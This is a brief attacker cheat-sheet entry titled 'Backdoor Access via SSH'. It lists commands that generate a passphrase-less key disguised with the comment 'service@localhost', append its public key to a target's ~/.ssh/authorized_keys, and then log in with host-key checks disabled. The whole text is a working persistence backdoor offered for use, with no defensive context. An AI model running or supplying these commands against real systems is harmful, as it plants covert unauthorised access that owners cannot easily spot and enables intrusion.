Backdoor Access

via SSH

# ATTACKER
ssh-keygen -f ./target_backdoor_key -N "" -C "service@localhost" && echo "\n\necho '$(cat ./target_backdoor_key.pub)' >> ~/.ssh/authorized_keys\n\n"

# TARGET: !!! RUN COMMAND OUTPUT ABOVE !!!

# ATTACKER
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i ./target_backdoor_key <USER>@<TARGET>